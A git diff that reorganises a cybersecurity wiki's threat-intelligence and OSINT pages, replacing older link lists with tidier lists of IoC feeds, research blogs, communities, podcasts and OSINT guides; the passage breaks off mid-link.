[Recorded Future](https://www.recordedfuture.com/platform/) +* [Mandiant Advantage](https://www.mandiant.com/advantage) + +TruSTAR was acquired by Splunk; verify current Splunk Enterprise Security, SOAR, and threat intelligence workflows before depending on old TruSTAR documentation. ## IoC Feeds -MISP has over 30 default feeds and growing. Below are some of the most popular. For more information on which feeds are in MISP, see here: [https://www.misp-project.org/feeds/](https://www.misp-project.org/feeds/) - -
- -Free (In MISP) - -* CIRC.LU - [https://www.circl.lu/doc/misp/feed-osint/](https://www.circl.lu/doc/misp/feed-osint/) -* Botvrj - [https://www.botvrij.eu/data/feed-osint/](https://www.botvrij.eu/data/feed-osint/) -* Emerging Threats - [https://rules.emergingthreats.net/blockrules/compromised-ips.txt](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) -* Feodo - [https://feodotracker.abuse.ch/downloads/ipblocklist.csv](https://feodotracker.abuse.ch/downloads/ipblocklist.csv) -* OpenPhish - [https://openphish.com/feed.txt](https://openphish.com/feed.txt) -* Abuse CH - [https://sslbl.abuse.ch/blacklist/sslipblacklist.csv](https://sslbl.abuse.ch/blacklist/sslipblacklist.csv) -* Digital Side - [https://osint.digitalside.it/Threat-Intel/digitalside-misp-feed/](https://osint.digitalside.it/Threat-Intel/digitalside-misp-feed/) -* FireHOL - [https://iplists.firehol.org/](https://iplists.firehol.org/) - -
- -
- -Free (Not in MISP) - -* AlienVault OTX - [https://otx.alienvault.com/](https://otx.alienvault.com/) - * [https://github.com/AlienVault-OTX/ApiV2](https://github.com/AlienVault-OTX/ApiV2) -* PhishHunt - [https://phishunt.io/](https://phishunt.io/) -* Disposable Email Domains - [https://github.com/ivolo/disposable-email-domains](https://github.com/ivolo/disposable-email-domains) -* FreeMail - [https://github.com/dpup/freemail](https://github.com/dpup/freemail) -* AbuseIPDB - [https://www.abuseipdb.com/](https://www.abuseipdb.com/) -* Stop Forum Spam - [https://www.stopforumspam.com/](https://www.stopforumspam.com/) -* D-Shield - [https://www.dshield.org/xml.html](https://www.dshield.org/xml.html) -* Malware Domain List - [https://www.malwaredomainlist.com/](https://www.malwaredomainlist.com/) -* Dan.me.uk - Contains multiple different types of constantly updated block lists - * Tor Exit Nodes - [https://www.dan.me.uk/tornodes](https://www.dan.me.uk/tornodes) - * DNS Blacklists - [https://www.dan.me.uk/dnsbl](https://www.dan.me.uk/dnsbl) -* Spamhaus Block Lists - [https://www.spamhaus.org/drop/](https://www.spamhaus.org/drop/) -* ProjectHoneyPot - [https://www.projecthoneypot.org/list\_of\_ips.php](https://www.projecthoneypot.org/list\_of\_ips.php) -* Darkfeed - [https://darkfeed.io/](https://darkfeed.io/) -* Anomali Limo - [https://www.anomali.com/resources/limo](https://www.anomali.com/resources/limo) -* Uncoder CTI - [https://socprime.com/blog/uncoder-cti-step-by-step-guidelines/](https://socprime.com/blog/uncoder-cti-step-by-step-guidelines/) -* [Rescure](https://rescure.me/) - Curated cyber threat intelligence for everyone -* [https://github.com/executemalware/Malware-IOCs](https://github.com/executemalware/Malware-IOCs) - -
- -
- -Premium Feeds - -* CrowdStrike - [https://www.crowdstrike.com/endpoint-security-products/falcon-x-threat-intelligence/](https://www.crowdstrike.com/endpoint-security-products/falcon-x-threat-intelligence/) -* SpamHaus - [https://www.spamhaus.com/product/data-query-service/](https://www.spamhaus.com/product/data-query-service/) -* HashDD - [https://www.hashdd.com/#pricing](https://www.hashdd.com/#pricing) -* Intel471 - [https://intel471.com/products/threat-intelligence/](https://intel471.com/products/threat-intelligence/) -* IntelX - [https://www.sophos.com/en-us/labs/intelix.aspx](https://www.sophos.com/en-us/labs/intelix.aspx) -* Trustar - [https://www.trustar.co/integrations?type=premium-intelligence](https://www.trustar.co/integrations?type=premium-intelligence) -* Cymru - [https://team-cymru.com/](https://team-cymru.com/) -* CINS - [https://cinsscore.com/#cins-ati](https://cinsscore.com/#cins-ati) -* FarsightDB - [https://www.farsightsecurity.com/solutions/threat-intelligence-team/newly-observed-domains/](https://www.farsightsecurity.com/solutions/threat-intelligence-team/newly-observed-domains/) -* ThreatStop - [https://www.threatstop.com/threatstop-pricing](https://www.threatstop.com/threatstop-pricing) -* Well-Fed Intelligence -[https://wellfedintelligence.com/](https://wellfedintelligence.com/) - -
- -## Other Sources and Media - -
- -Forum - -* SANS Forums - [https://isc.sans.edu/forums/Diary+Discussions/](https://isc.sans.edu/forums/Diary+Discussions/) -* HackBusters -[https://discuss.hackbusters.com/](https://discuss.hackbusters.com/) -* Reddit - * r/blueteamsec - * r/cybersecurity - * r/hacking - * r/HowToHack - * r/Intelligence - * r/Linux - * r/kalilinux - * r/netsec - * r/pentesting - * r/redteamsec - * r/security - * r/SecurityBlueTeam - * r/SecurityRedTeam - -
- -
- -Podcast/Webcast - -* Darknet Diaries - [https://darknetdiaries.com/](https://darknetdiaries.com/) -* Privacy, Security, and OSINT show - [https://inteltechniques.com/podcast.html](https://inteltechniques.com/podcast.html) -* CyberWire - [https://www.thecyberwire.com/podcasts/](https://www.thecyberwire.com/podcasts/) -* ProofPoint Podcasts - [https://www.proofpoint.com/us/resources/podcast](https://www.proofpoint.com/us/resources/podcast) -* Social-engineer - [https://www.social-engineer.org/category/podcast/](https://www.social-engineer.org/category/podcast/) -* Beers with Talos - [https://blog.talosintelligence.com/](https://blog.talosintelligence.com/2020/08/beers-with-talos-ep-90-hacktivism.html) -* Malicious Life - [https://malicious.life/](https://malicious.life/) -* GIAC - [https://www.giac.org/podcasts](https://www.giac.org/podcasts) -* Security Weekly - [https://securityweekly.com/](https://securityweekly.com/) -* BlackHills Webcasts - [https://www.blackhillsinfosec.com/blog/webcasts/](https://www.blackhillsinfosec.com/blog/webcasts/) - -
- -* **Onion Sites** - [https://osint.party/api/rss/fresh](https://osint.party/api/rss/fresh) - An amazing RSS feed of fresh and newly discovered .onion sites. Be careful, this feed remains uncensored, so you may encounter illegal content. -* **Twitter Users to Follow** - Lets make it easy. Sub to everyone on this list for raw, user created intel with a high level of fidelity. [https://phishunt.io/community/](https://phishunt.io/community/) +MISP includes many default feeds. For the current list, use [MISP OSINT feeds](https://www.misp-project.org/feeds/). + +Common free feeds: + +* [CIRCL OSINT Feed](https://www.circl.lu/doc/misp/feed-osint/) +* [Botvrij.eu Feed](https://www.botvrij.eu/data/feed-osint/) +* [Emerging Threats Compromised IPs](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) +* [Feodo Tracker](https://feodotracker.abuse.ch/downloads/ipblocklist.csv) +* [ThreatFox](https://threatfox.abuse.ch/) +* [URLhaus](https://urlhaus.abuse.ch/) +* [MalwareBazaar](https://bazaar.abuse.ch/) +* [OpenPhish](https://openphish.com/feed.txt) +* [abuse.ch SSL Blacklist](https://sslbl.abuse.ch/blacklist/sslipblacklist.csv) +* [DigitalSide Threat Intel](https://osint.digitalside.it/Threat-Intel/digitalside-misp-feed/) +* [FireHOL IP Lists](https://iplists.firehol.org/) +* [AlienVault OTX API](https://github.com/AlienVault-OTX/ApiV2) +* [PhishHunt](https://phishunt.io/) +* [Disposable Email Domains](https://github.com/ivolo/disposable-email-domains) +* [FreeMail](https://github.com/dpup/freemail) +* [Stop Forum Spam](https://www.stopforumspam.com/) +* [DShield Feeds](https://www.dshield.org/xml.html) +* [dan.me.uk Tor Exit Nodes](https://www.dan.me.uk/tornodes) +* [dan.me.uk DNS Blacklists](https://www.dan.me.uk/dnsbl) +* [Spamhaus DROP](https://www.spamhaus.org/drop/) +* [Project Honey Pot IP List](https://www.projecthoneypot.org/list_of_ips.php) +* [DarkFeed](https://darkfeed.io/) +* [Anomali Limo](https://www.anomali.com/resources/limo) +* [Rescure](https://rescure.me/) - Curated CTI feeds. +* [Malware-IOCs](https://github.com/executemalware/Malware-IOCs) + +Reputation and enrichment platforms such as VirusTotal, GreyNoise, AbuseIPDB, urlscan.io, and OPSWAT MetaDefender are maintained on Threat Data. + +{% content-ref url="threat-data.md" %} +[threat-data.md](threat-data.md) +{% endcontent-ref %} + +Malware sandboxes such as ANY.RUN, Hybrid Analysis, Joe Sandbox, Triage, Intezer, UnpacMe, and Cuckoo are maintained in DFIR sandboxing. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/sandboxing.md" %} +[sandboxing.md](../dfir-digital-forensics-and-incident-response/sandboxing.md) +{% endcontent-ref %} + +## Research Blogs + +Threat research groups: + +* [Mandiant Blog](https://www.mandiant.com/resources/blog) +* [Sophos News](https://news.sophos.com/en-us/) +* [Elastic Security Labs](https://www.elastic.co/security-labs) +* [Securelist](https://securelist.com/) +* [Malwarebytes Labs](https://www.malwarebytes.com/blog) +* [Google Project Zero](https://googleprojectzero.blogspot.com/) +* [ClearSky Blog](https://www.clearskysec.com/blog/) +* [Check Point Research](https://research.checkpoint.com/) +* [Cisco Talos](https://blogs.cisco.com/security/talos) +* [FortiGuard Labs](https://www.fortiguard.com/resources/threat-brief) +* [Unit 42](https://unit42.paloaltonetworks.com/) +* [Trend Micro Research](https://www.trendmicro.com/en_us/research.html) +* [CrowdStrike Intelligence Blog](https://www.crowdstrike.com/blog/category/threat-intel-research/) +* [JPCERT/CC Eyes](https://blogs.jpcert.or.jp/en/) +* [SANS ISC Diary](https://isc.sans.edu/diary.html) +* [Cryptolaemus](https://paste.cryptolaemus.com/) +* [Uptycs Threat Research](https://www.uptycs.com/blog/tag/threat-research) + +Corporate security blogs: + +* [Microsoft Security Response Center](https://msrc-blog.microsoft.com/) +* [DomainTools Research](https://www.domaintools.com/resources/blog?category=domaintools-research&authors=) +* [Proofpoint Blog](https://www.proofpoint.com/us/blog) +* [Zscaler Research](https://www.zscaler.com/blogs/security-research) +* [Secureworks Blog](https://www.secureworks.com/blog) +* [Searchlight Cyber](https://www.searchlight-cyber.com/research-and-insights/) +* [Recorded Future Blog](https://www.recordedfuture.com/blog/) +* [Imperva Blog](https://www.imperva.com/blog/) +* [Tenable Blog](https://www.tenable.com/blog) +* [Google Security Blog](https://security.googleblog.com/) +* [Cofense Blog](https://cofense.com/blog/) +* [Fortinet Blog](https://www.fortinet.com/blog) +* [SpecterOps Blog](https://posts.specterops.io/) +* [Virus Bulletin](https://www.virusbulletin.com/blog/) +* [Anomali Blog](https://www.anomali.com/blog) +* [Intezer Blog](https://www.intezer.com/blog/) +* [Verisign Blog](https://blog.verisign.com/) +* [VirusTotal Blog](https://blog.virustotal.com/) +* [WeLiveSecurity](https://www.welivesecurity.com/research/) +* [TrustedSec Blog](https://www.trustedsec.com/blog/) +* [Broadcom Security Center](https://www.broadcom.com/support/security-center) +* [Trustwave SpiderLabs](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/) +* [ReversingLabs Blog](https://blog.reversinglabs.com/blog) +* [Rapid7 Research](https://blog.rapid7.com/tag/research/) +* [SecurityTrails Blog](https://securitytrails.com/blog) +* [Advanced Intelligence Blog](https://www.advanced-intel.com/blog) +* [Scythe Threat Thursday](https://www.scythe.io/threatthursday) +* [Trellix Blog](https://www.trellix.com/blogs/) +* [Huntress Blog](https://www.huntress.com/blog) +* [Red Canary Blog](https://redcanary.com/blog/) +* [Splunk Security Blog](https://www.splunk.com/en_us/blog/security.html) +* [SentinelOne Blog](https://www.sentinelone.com/blog/) + +Offensive methodology blogs such as Hakluke, PentesterLab-style content, and Null Byte fit better in Red Offensive or Web App Hacking. + +## Communities and Media + +* [SANS ISC Forums](https://isc.sans.edu/forums/Diary+Discussions/) +* [r/blueteamsec](https://www.reddit.com/r/blueteamsec/) +* [r/cybersecurity](https://www.reddit.com/r/cybersecurity/) +* [r/Intelligence](https://www.reddit.com/r/Intelligence/) +* [r/netsec](https://www.reddit.com/r/netsec/) +* [r/threathunting](https://www.reddit.com/r/threathunting/) +* [r/AskNetsec](https://www.reddit.com/r/AskNetsec/) +* [infosec.exchange](https://infosec.exchange/) - Primary cybersecurity Mastodon instance. + +Podcasts and webcasts: + +* [Darknet Diaries](https://darknetdiaries.com/) +* [Privacy, Security, and OSINT Show](https://inteltechniques.com/podcast.html) +* [CyberWire Podcasts](https://www.thecyberwire.com/podcasts/) +* [Proofpoint Podcasts](https://www.proofpoint.com/us/resources/podcast) +* [Social-Engineer Podcast](https://www.social-engineer.org/category/podcast/) +* [Beers with Talos](https://blog.talosintelligence.com/) +* [Malicious Life](https://malicious.life/) +* [GIAC Podcasts](https://www.giac.org/podcasts) +* [Security Weekly](https://securityweekly.com/) +* [Black Hills Webcasts](https://www.blackhillsinfosec.com/blog/webcasts/) + +Training, YouTube channels, and labs are preserved in Training. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} + +## Deprecated or Archived Tools + +* **CRITs** - Collaborative Research Into Threats. Last updated in 2018; consider OpenCTI, MISP, or TheHive. +* **NSA Unfetter** - Archived. Use ATT&CK Navigator and related MITRE tooling. +* **Malware Domain List** - Degraded/no longer maintained; use URLhaus, ThreatFox, and other abuse.ch feeds. +* **Threatpost** - Shut down in 2022 after acquisition. +* **TruSTAR standalone docs** - Splunk acquired TruSTAR; verify current Splunk CTI/SOAR workflows. +* **CybOX** - Legacy observable model folded into STIX 2.x. + +## Onion Feeds + +* [OSINT Party Fresh Onion RSS](https://osint.party/api/rss/fresh) - Fresh `.onion` RSS feed. Service status can vary, and links may be illegal or harmful; verify availability, treat links as untrusted, and follow the OPSEC section. + +{% content-ref url="../grey-privacy-tor-opsec/" %} +[grey-privacy-tor-opsec](../grey-privacy-tor-opsec/) +{% endcontent-ref %} diff --git a/cyber-intelligence/osint/README.md b/cyber-intelligence/osint/README.md index bb6048a..f6a2ad3 100644 --- a/cyber-intelligence/osint/README.md +++ b/cyber-intelligence/osint/README.md @@ -4,254 +4,155 @@ description: Open Source Intelligence # OSINT -## **Intro** +Open-source intelligence (OSINT) is the disciplined collection and analysis of publicly available information. This section focuses on passive investigation: search engines, public records, domains, IP addresses, usernames, social media, files, breach data, dark web sources, geolocation, and other public data pivots. -The focus of this section is to provide helpful resources for OSINT and Passive reconnaissance on a given target. There will be certain tools and sites you might be familiar with that could be applicable in this section, that I have omitted and with good reason. +This section intentionally avoids most active scanning and exploitation tooling. Those resources belong in Red Offensive. Reputation and enrichment platforms belong in Threat Data. -1. This section is "Passive" recon, which does not entail touching or interacting with your target in any way. For offensive operations, staying off radar is key. But can we check with other sources that may have already scanned out target? You bet. -2. There are many research tools that provide similar output to the ones listed in the later sections. The ones that I have specifically omitted (and will document in another section) are tailored more to defensive operations and contain information like reputation data and historical activity. +{% content-ref url="../threat-data.md" %} +[threat-data.md](../threat-data.md) +{% endcontent-ref %} + +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} -## **OSINT Resources** +## OSINT Guides and Methodology -
+* [IntelTechniques OSINT Book and Tools](https://inteltechniques.com/osintbook) - Michael Bazzell's OSINT resources and search tools. +* [OH SHINT](https://ohshint.gitbook.io/) - Detailed OSINT link collection. +* [Security Sift: Passive Reconnaissance](http://www.securitysift.com/passive-reconnaissance/) - Passive recon workflow reference. +* [Penetration Testing Execution Standard: Intelligence Gathering](http://www.pentest-standard.org/index.php/Intelligence_Gathering) - Reconnaissance process reference. +* [OSINT Handbook 2020](https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf) - Tools and techniques by I-Intelligence. +* [Randhome OSINT Guide](https://www.randhome.io/blog/2019/01/05/2019-osint-guide/) - OSINT workflow and tools. +* [NixIntel: Gap Analysis for OSINT](https://nixintel.info/osint/using-gap-analysis-to-keep-osint-investigations-on-track/) - Investigation methodology. +* [Aware Online: Investigating a Website](https://twitter.com/aware_online/status/1308312883248467975) +* [OSINT x UCCU Workshop](https://www.slideshare.net/miaoski/osint-x-uccu-workshop-on-open-source-intelligence) +* [Dark Web OSINT Deep Dive](https://www.youtube.com/watch?v=fzd3zkAI_o4) +* [Verification Handbook](https://datajournalism.com/read/handbook/verification-3) - Journalism-oriented verification guidance that maps well to OSINT. -OSINT Guides and Methodology +Training, CTFs, TryHackMe rooms, and OSINT practice labs are kept in Training. -Specific for what you need to look for and how to find it, during the passive recon phase of a penetration test, or the proper way to OSINT. +{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} -* [IntelTechniques](https://inteltechniques.com/osintbook) - One of the best resources for OSINT has been Michael Bazzell's OSINT book and his website. I highly recommend you order his book. The HTML search tools I reference here come from his collection, available on his website for free. He also runs the Privacy and Security Podcast which is a highly recommended resource for both OSINT techniques and personal privacy. -* [https://ohshint.gitbook.io/](https://ohshint.gitbook.io/) - One of the most detailed OSINT resources available. Chocked full of search tools. -* [Security Sift ](http://www.securitysift.com/passive-reconnaissance/) - This write up is a great guide to Passive recon when preparing for a penetration test. For building up your own workflow, start with this. -* [Pen Test Standard](http://www.pentest-standard.org/index.php/Intelligence_Gathering) - Great guides for every step of a penetration test, but the recon section is especially useful as a reference here. -* [OSINT\_Handbook\_2020.pdf](https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf) - OSINT Tools and Techniques by I-Intelligence -* [https://www.randhome.io/blog/2019/01/05/2019-osint-guide/](https://www.randhome.io/blog/2019/01/05/2019-osint-guide/) - Great guide of some newer tools and techniques. -* [https://nixintel.info/osint/using-gap-analysis-to-keep-osint-investigations-on-track/](https://nixintel.info/osint/using-gap-analysis-to-keep-osint-investigations-on-track/) - Great article on investigation methodology to hasten your OSINT research. -* Methodology of how to investigate a website - [https://twitter.com/aware\_online/status/1308312883248467975](https://twitter.com/aware_online/status/1308312883248467975) -* [OSINT x UCCU Workshop on Open Source Intelligence](https://www.slideshare.net/miaoski/osint-x-uccu-workshop-on-open-source-intelligence) - Slide deck from a workshop by Miaoski, one of the Senior Intel Analysts for Trend Micro. -* [102 Deep Dive in the Dark Web OSINT](https://www.youtube.com/watch?v=fzd3zkAI_o4) - Great video presentation on Dark Web OSINT techniques -* [Verification handbook](https://datajournalism.com/read/handbook/verification-3) - Designed for journalists but still quite useful, the Verification handbook provides a wealth of resources on investigative procedure - -
- -
- -OSINT training courses. - -* [https://courses.thecyberinst.org/courses/osint-challenge](https://courses.thecyberinst.org/courses/osint-challenge) -* [https://courses.thecyberinst.org/courses/osintmini](https://courses.thecyberinst.org/courses/osintmini) -* [https://www.tracelabs.org/initiatives/search-party](https://www.tracelabs.org/initiatives/search-party) -* [https://www.geoguessr.com/](https://www.geoguessr.com/) -* [https://kit.exposingtheinvisible.org/en/](https://kit.exposingtheinvisible.org/en/) -* [https://advocacyassembly.org/en/courses/](https://advocacyassembly.org/en/courses/) - -
- -
- -OSINT CTFs and Modules - -* [https://cyberdefenders.org/labs/38](https://cyberdefenders.org/labs/38) - Intel101 -* [https://ctf.cybersoc.wales/](https://ctf.cybersoc.wales/) -* [https://www.geoguessr.com/](https://www.geoguessr.com/) -* [https://ictf.io/](https://ictf.io/) -* [https://hacktoria.com/](https://hacktoria.com/) -* [https://investigator.cybersoc.wales/](https://investigator.cybersoc.wales/) -* [https://tryhackme.com/room/ohsint](https://tryhackme.com/room/ohsint) -* [https://tryhackme.com/room/sakura](https://tryhackme.com/room/sakura) -* [https://tryhackme.com/room/searchlightosint](https://tryhackme.com/room/searchlightosint) -* [https://tryhackme.com/room/googledorking](https://tryhackme.com/room/googledorking) -* [https://tryhackme.com/room/geolocatingimages](https://tryhackme.com/room/geolocatingimages) -* [https://tryhackme.com/room/webosint](https://tryhackme.com/room/webosint) -* [https://sourcing.games/game-1/](https://sourcing.games/game-1/) - -
- -
- -Youtube Channels and Web Casts - -* 0x4rkØ OSINT videos - [https://www.youtube.com/c/0x4rk%C3%98/videos](https://www.youtube.com/c/0x4rk%C3%98/videos) -* OSINTCurious - [https://www.youtube.com/channel/UCjzceWf-OT3ImIKztzGkipA/videos](https://www.youtube.com/channel/UCjzceWf-OT3ImIKztzGkipA/videos) - * OSINTCurious 10 minute tips - [https://www.youtube.com/playlist?list=PL423I\_gHbWUUOs09899rex4t2l5py9YIk](https://www.youtube.com/playlist?list=PL423I_gHbWUUOs09899rex4t2l5py9YIk) - * OSINTCurious Webcasts - [https://osintcurio.us/osintvideosandpodcasts/](https://osintcurio.us/osintvideosandpodcasts/) -* Adrian Crenshaw OSINT videos - [https://www.youtube.com/user/irongeek/search?query=OSINT](https://www.youtube.com/user/irongeek/search?query=OSINT) -* Authentic8 - [https://www.youtube.com/user/Authentic8TV](https://www.youtube.com/user/Authentic8TV) -* ConInt - [https://www.youtube.com/channel/UCBtSOceclpKcvunVNw82tFQ/videos](https://www.youtube.com/channel/UCBtSOceclpKcvunVNw82tFQ/videos) -* Toddington - Drop in and Learn - [https://www.youtube.com/channel/UCAqnnQkeSVTC3ZJ7urNiD8Q](https://www.youtube.com/channel/UCAqnnQkeSVTC3ZJ7urNiD8Q) - * Drop in and Learn Web casts - [https://www.toddington.com/drop-in-and-learn-webcasts/](https://www.toddington.com/drop-in-and-learn-webcasts/) -* Using Kali OSINT Tools - [https://www.youtube.com/playlist?list=PL0A5SH4w3NaIBKahXMaO29uToGLn3dARF](https://www.youtube.com/playlist?list=PL0A5SH4w3NaIBKahXMaO29uToGLn3dARF) -* Ben Strick - OSINT at Home - [https://www.youtube.com/playlist?list=PLrFPX1Vfqk3ehZKSFeb9pVIHqxqrNW8Sy](https://www.youtube.com/playlist?list=PLrFPX1Vfqk3ehZKSFeb9pVIHqxqrNW8Sy) -* OSINT Dojo - [https://www.youtube.com/osintdojo](https://www.youtube.com/osintdojo) -* SCSP OSINT Series - [https://www.youtube.com/playlist?list=PL7yUP1guJz7fZNfZM-zkUieKSeA1TCG2S](https://www.youtube.com/playlist?list=PL7yUP1guJz7fZNfZM-zkUieKSeA1TCG2S) -* Tracelabs Youtube - [https://www.youtube.com/channel/UCezKbcbnYtrwRXfGzgQMI3w](https://www.youtube.com/channel/UCezKbcbnYtrwRXfGzgQMI3w) - -
- -
- -OSINT communities and thier resources - -* [OSINTCurious](https://osintcurio.us/) - Great community and training for those who are interested in OSINT skills and tools. - * [Osint Curious OSINT Resource List](https://docs.google.com/document/d/14li22wAG2Wh2y0UhgBjbqEvZJCDsNZY8vpUAJ_jJ5X8/edit) -* [OSINT Techniques Blog](https://www.osinttechniques.com/) - Fantastic site with tool lists, video guides, and blog on the latest techniques. - * [osinttechniques.com Tool List](https://www.osinttechniques.com/osint-tools.html) -* [Osintion](https://www.theosintion.com/) - OSINT and Social Engineering master Joe Grey's website. Resources, OSINT Courses, and consultation services. -* [OSINT Dojo](https://www.osintdojo.com/) - A project that provides those new to OSINT a number of free resources and simple challenges that build on one another to provide a simple road map for learning more about the field and polishing up related skills while also earning badges to show off your hard work. - * [OSINT Dojo Resources](https://www.osintdojo.com/resources/) -* [Bellingcat's OSINT How-To](https://www.bellingcat.com/category/resources/how-tos/) - Bellingcat is a collective of researchers and journalists that use OSINT tools and techniques for a variety of purposes and that have come together to share thier latest and greatest tools and techniques. They have a slow of guides for researching specific things with OSINT. - * [Bellingcat's Tool Collection](https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ/edit#gid=930747607) -* [Aware-Online](https://www.aware-online.com/en/) - Aware Online is a Netherlands based training institute specialized in providing training in the field of Open Source intelligence (OSINT) and Social Media Intelligence (SOCMINT). -* [https://exposingtheinvisible.org/](https://exposingtheinvisible.org/) - Exposing the Invisible is a project of [Tactical Tech](https://tacticaltech.org/), an international NGO that engages with citizens and civil-society organizations to explore and mitigate the impacts of technology on society. - * [https://kit.exposingtheinvisible.org/en/](https://kit.exposingtheinvisible.org/en/) - -
- -
- -OSINTer Blogs - -All of these are fantastic resource. Check them regularly for new tools and techniques. - -* [https://benjaminstrick.com/blog/](https://benjaminstrick.com/blog/) -* [https://blog.bushidotoken.net/](https://blog.bushidotoken.net/) -* [https://threadreaderapp.com/user/cyb\_detective](https://threadreaderapp.com/user/cyb_detective) -* [https://dutchosintguy.com/events-and-blogs/](https://dutchosintguy.com/events-and-blogs/) -* [https://www.intelligencewithsteve.com/blog](https://www.intelligencewithsteve.com/blog) -* [https://inteltechniques.com/blog/](https://inteltechniques.com/blog/) -* [https://keyfindings.blog/](https://keyfindings.blog/) -* [https://www.lorandbodo.com/](https://www.lorandbodo.com/) -* [https://www.offensiveosint.io/](https://www.offensiveosint.io/) -* [https://www.osintcombine.com/blog](https://www.osintcombine.com/blog) -* [https://www.osinteditor.com/](https://www.osinteditor.com/) -* [https://www.osintme.com/](https://www.osintme.com/) -* [http://www.theosintjournal.org/](http://www.theosintjournal.org/) -* [https://www.bellingcat.com/](https://www.bellingcat.com/) -* [https://www.cqcore.uk/blog-posts/](https://www.cqcore.uk/blog-posts/) -* [https://keyfindings.blog/](https://keyfindings.blog/) -* [https://www.offensiveosint.io/](https://www.offensiveosint.io/) -* [https://sector035.nl/](https://sector035.nl/) - -
- -
- -Forums/Groups/Chatrooms - -### **Forums** - -* [https://app.element.io/#/room/#osint-chat:matrix.org](https://app.element.io/#/room/#osint-chat:matrix.org) -* [https://osint.team/home](https://osint.team/home) -* [https://www.websleuths.com/forums/](https://www.websleuths.com/forums/) -* https://reddit.com - * r/InfoSecNews - * r/OSINT - * r/RBI - -### Discord/Slack - -* Bellingcat Discord - [https://discord.gg/nTaNPmz](https://discord.gg/nTaNPmz) -* conInt Discord - [https://discord.gg/AJYUV7S](https://discord.gg/AJYUV7S) -* Defcon Discord - [https://discord.gg.defcon](https://discord.gg.defcon) -* Hack South Discord - [https://discord.gg/nTJFJrUwwT](https://discord.gg/nTJFJrUwwT) -* Imaginary CTF Discord - [https://discord.gg/sjVcTTXg6a](https://discord.gg/sjVcTTXg6a) -* OSINT Editor Discord - [https://discord.gg/M5pk9rE](https://discord.gg/M5pk9rE) -* OSINT-FR Discord - [https://discord.osintfr.com](https://discord.osintfr.com) -* Project Owl Discord - [https://discord.gg/projectowl](https://discord.gg/projectowl) -* SANS Blue Team Discord - [https://discord.gg/ZvgwPtuusE](https://discord.gg/ZvgwPtuusE) -* DeadpixelSec Discord - [https://discord.gg/infosec](https://discord.gg/infosec) -* OSINT Curious Discord - [https://discord.gg/eaz5AqHDfK](https://discord.gg/eaz5AqHDfK) -* OSINTion Discord - [https://discord.gg/p78TTGa](https://discord.gg/p78TTGa) -* Tracelabs Slack - [https://tracelabs.slack.com](https://tracelabs.slack.com) - -
- -
- -Volunteer OSINT - -There are a few interesting organizations out there that take OSINT researchers and have them help with certain public good tasks like finding missing children or stopping pedophiles. It can be a heavy ask but can really do some good in the world with the skills that we have. Please check out and If you can donate some time to help, please do! - -* [https://www.tracelabs.org/](https://www.tracelabs.org/) -* [https://www.innocentlivesfoundation.org/](https://www.innocentlivesfoundation.org/) -* [https://badassarmy.org/](https://badassarmy.org/) -* [https://citizenevidence.org/](https://citizenevidence.org/) -* [https://crisismapping.ning.com/](https://crisismapping.ning.com/) -* [https://www.fbi.gov/wanted/ecap](https://www.fbi.gov/wanted/ecap) -* [https://informnapalm.org/en/](https://informnapalm.org/en/) -* [https://locate.international/](https://locate.international/) -* [https://www.missingkids.org/](https://www.missingkids.org/) -* [https://www.ncptf.org/](https://www.ncptf.org/) -* [https://ourrescue.org/](https://ourrescue.org/) -* [https://www.europol.europa.eu/stopchildabuse](https://www.europol.europa.eu/stopchildabuse) -* [https://www.stopthetraffik.org/](https://www.stopthetraffik.org/) - -
- -## OSINT Tools - -
- -OSINT Tool and Resource Collections - -These are misc tools and collections out there. Many overlap, but there are fantastic things in each. - -* [Awesome Collection: OSINT](https://github.com/jivoi/awesome-osint) -* [https://start.me/p/DPYPMz/the-ultimate-osint-collection](https://start.me/p/DPYPMz/the-ultimate-osint-collection) -* [https://www.aware-online.com/en/osint-tools/](https://www.aware-online.com/en/osint-tools/) -* [OSINT Framework](https://osintframework.com/) +## OSINT Communities and Resources + +* [OSINTCurious](https://osintcurio.us/) - Community, videos, and resource lists. + * [OSINTCurious Resource List](https://docs.google.com/document/d/14li22wAG2Wh2Y0UhgBjbqEvZJCDsNZY8vpUAJ_jJ5X8/edit) +* [OSINT Techniques](https://www.osinttechniques.com/) - Tool lists, videos, and OSINT blog. +* [OSINTion](https://www.theosintion.com/) - Joe Grey's OSINT resources, courses, and consulting site. +* [OSINT Dojo](https://www.osintdojo.com/) - Learning road map and OSINT challenges. +* [Bellingcat OSINT How-Tos](https://www.bellingcat.com/category/resources/how-tos/) + * [Bellingcat Tool Collection](https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ/edit#gid=930747607) +* [Aware Online](https://www.aware-online.com/en/) - OSINT and SOCMINT training and tools. +* [Exposing the Invisible](https://exposingtheinvisible.org/) - Investigative methods and verification guidance. + +## OSINT Blogs and Media + +* [Benjamin Strick](https://benjaminstrick.com/blog/) +* [BushidoToken](https://blog.bushidotoken.net/) +* [Cyb Detective](https://threadreaderapp.com/user/cyb_detective) +* [Dutch OSINT Guy](https://dutchosintguy.com/events-and-blogs/) +* [Intelligence with Steve](https://www.intelligencewithsteve.com/blog) + * [A 5-minute guide to creating a covert account for internet investigations](https://www.intelligencewithsteve.com/post/a-5-minute-guide-to-creating-a-covert-account-for-internet-investigations-osint) +* [IntelTechniques Blog](https://inteltechniques.com/blog/) +* [Key Findings](https://keyfindings.blog/) +* [Lorand Bodo](https://www.lorandbodo.com/) +* [Offensive OSINT](https://www.offensiveosint.io/) +* [OSINT Combine Blog](https://www.osintcombine.com/blog) +* [OSINT Editor](https://www.osinteditor.com/) +* [OSINT Me](https://www.osintme.com/) +* [The OSINT Journal](http://www.theosintjournal.org/) +* [Bellingcat](https://www.bellingcat.com/) +* [CQCore](https://www.cqcore.uk/blog-posts/) +* [Sector035](https://sector035.nl/) + +YouTube and webcast resources: + +* [0x4rkØ OSINT 